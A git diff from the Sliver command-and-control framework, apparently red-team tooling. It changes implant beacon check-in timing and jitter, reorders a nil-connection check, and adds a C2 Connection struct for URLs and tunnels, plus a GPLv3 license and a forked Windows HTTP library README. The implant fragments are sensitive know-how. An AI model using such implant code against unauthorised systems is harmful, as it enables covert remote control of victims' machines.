 	// {{if .Config.Debug}}
 	log.Printf("Running in session mode")
 	// {{end}}
@@ -254,11 +251,10 @@ func main() {
 		// {{end}}
 		time.Sleep(reconnect)
 	}
-	// {{end}}
-
-	// {{end}}
 }
 
+// {{end}}
+
 // {{if .Config.IsBeacon}}
 func beaconMainLoop(beacon *transports.Beacon) error {
 	// Register beacon
@@ -302,7 +298,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 		Interval:    beacon.Interval(),
 		Jitter:      beacon.Jitter(),
 		Register:    register,
-		NextCheckin: nextCheckin.UTC().Unix(),
+		NextCheckin: int64(beacon.Duration().Seconds()),
 	}))
 	beacon.Close()
 	time.Sleep(time.Second)
@@ -364,7 +360,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
 	// {{end}}
 	err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
 		ID:          InstanceID,
-		NextCheckin: nextCheckin.UTC().Unix(),
+		NextCheckin: int64(beacon.Duration().Seconds()),
 	}))
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -523,6 +519,12 @@ func openSessionHandler(data []byte) {
 // {{end}} -IsBeacon
 
 func sessionMainLoop(connection *transports.Connection) error {
+	if connection == nil {
+		// {{if .Config.Debug}}
+		log.Printf("[session] nil connection!")
+		// {{end}}
+		return nil
+	}
 	err := connection.Start()
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -530,12 +532,6 @@ func sessionMainLoop(connection *transports.Connection) error {
 		// {{end}}
 		return err
 	}
-	if connection == nil {
-		// {{if .Config.Debug}}
-		log.Printf("[session] nil connection!")
-		// {{end}}
-		return nil
-	}
 	pivots.RestartAllListeners(connection.Send)
 	defer pivots.StopAllListeners()
 	defer connection.Stop()

implant/sliver/transports/beacon.go

@@ -103,7 +103,7 @@ func (b *Beacon) Duration() time.Duration {
 	// {{end}}
 	jitterDuration := time.Duration(0)
 	if 0 < b.Jitter() {
-		jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
+		jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
 	}
 	duration := time.Duration(b.Interval()) + jitterDuration
 	// {{if .Config.Debug}}

implant/sliver/transports/connection.go

@@ -0,0 +1,91 @@
+package transports
+
+import (
+	"net/url"
+	"sync"
+
+	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+type Connection struct {
+	Send    chan *pb.Envelope
+	Recv    chan *pb.Envelope
+	IsOpen  bool
+	ctrl    chan struct{}
+	cleanup func()
+	once    *sync.Once
+	tunnels *map[uint64]*Tunnel
+	mutex   *sync.RWMutex
+
+	uri      *url.URL
+	proxyURL *url.URL
+
+	Start Start
+	Stop  Stop
+}
+
+// URL - Get the c2 URL of the connection
+func (c *Connection) URL() string {
+	if c.uri == nil {
+		return ""
+	}
+	return c.uri.String()
+}
+
+// ProxyURL - Get the c2 URL of the connection
+func (c *Connection) ProxyURL() string {
+	if c.proxyURL == nil {
+		return ""
+	}
+	return c.proxyURL.String()
+}
+
+// Cleanup - Execute cleanup once
+func (c *Connection) Cleanup() {
+	c.once.Do(func() {
+		c.cleanup()
+		c.IsOpen = false
+		c.removeAndCloseAllTunnels()
+	})
+}
+
+// Tunnel - Add tunnel to mapping
+func (c *Connection) Tunnel(ID uint64) *Tunnel {
+	c.mutex.RLock()
+	defer c.mutex.RUnlock()
+	return (*c.tunnels)[ID]
+}
+
+// AddTunnel - Add tunnel to mapping
+func (c *Connection) AddTunnel(tun *Tunnel) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	(*c.tunnels)[tun.ID] = tun
+}
+
+// RemoveTunnel - Add tunnel to mapping
+func (c *Connection) RemoveTunnel(ID uint64) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	delete(*c.tunnels, ID)
+}
+
+func (c *Connection) removeAndCloseAllTunnels() {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	for id, tunnel := range *c.tunnels {
+		tunnel.Close()
+
+		delete(*c.tunnels, id)
+	}
+}
+
+func (c *Connection) RequestResend(data []byte) {
+	c.Send <- &pb.Envelope{
+		Type: pb.MsgTunnelData,
+		Data: data,
+	}
+}

implant/sliver/transports/httpclient/drivers/win/LICENSE.txt

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

implant/sliver/transports/httpclient/drivers/win/README.md

@@ -0,0 +1,119 @@
+# Forked from https://gitlab.com/mjwhitta/win/
+
+#### Changes
+
+ * Removed winhttp code
+ * Removed custom errors package
+ * Removed custom pathname package
+ * Refactored names to be consistent with the rest of the Sliver code base
+ * Merged client `http` sub-packages with `winhttp` and `wininet`
+ * Added custom cookie jar implementation to wininet client
+
+# Win
+
+<a href="https://www.buymeacoffee.com/mjwhitta">🍪 Buy me a cookie</a>
+
+[![Go Report Card](https://goreportcard.com/badge/gitlab.com/mjwhitta/win)](https://goreportcard.com/report/gitlab.com/mjwhitta/win)
+
+## What is this?
+
+This Go module wraps WinHTTP and WinINet functions and includes HTTP
+clients that use those functions to make HTTP requests. Hopefully,
+this makes it easier to make HTTP requests in Go on Windows. WinHTTP
+(and theoretically WinINet) can even handle NTLM authentication
+automatically for you.
+
+Microsoft recommends [WinINet over WinHTTP] unless you're writing a
+Windows service.
+
+**Note:** This is probably beta quality at best.
+
+[WinINet over WinHTTP]: https://docs.microsoft.com/en-us/windows/win32/wininet/wininet-vs-winhttp
+
+## How to install
+
+Open a terminal and run the following:
+
+```
+$ go get --ldflags="-s -w" --trimpath -u gitlab.com/mjwhitta/win
+```
+
+## Usage
+
+Minimal example:
+
+```
+package main
+
+import (
+    "fmt"
+    "io/ioutil"
+
+    // "gitlab.com/mjwhitta/win/winhttp/http"
+    "gitlab.com/mjwhitta/win/wininet/http"
+)
+
+func main() {
+    var b []byte
+    var dst = "http://127.0.0.1:8080/asdf"
+    var e error
+    var headers = map[string]string{
+        "User-Agent": "testing, testing, 1, 2, 3...",
+    }
+    var req *http.Request
+    var res *http.Response
+
+    http.DefaultClient.TLSClientConfig.InsecureSkipVerify = true
+
+    if _, e = http.Get(dst); e != nil {
+        panic(e)
+    }
+
+    req = http.NewRequest(http.MethodPost, dst, []byte("test"))
+    req.AddCookie(&http.Cookie{Name: "chocolatechip", Value: "tasty"})
+    req.AddCookie(&http.Cookie{Name: "oatmealraisin", Value: "gross"})
+    req.AddCookie(&http.Cookie{Name: "snickerdoodle", Value: "yummy"})
+    req.Headers = headers
+
+    if res, e = http.DefaultClient.Do(req); e != nil {
+        panic(e)
+    }
+
+    if res.Body != nil {
+        if b, e = ioutil.ReadAll(res.Body); e != nil {
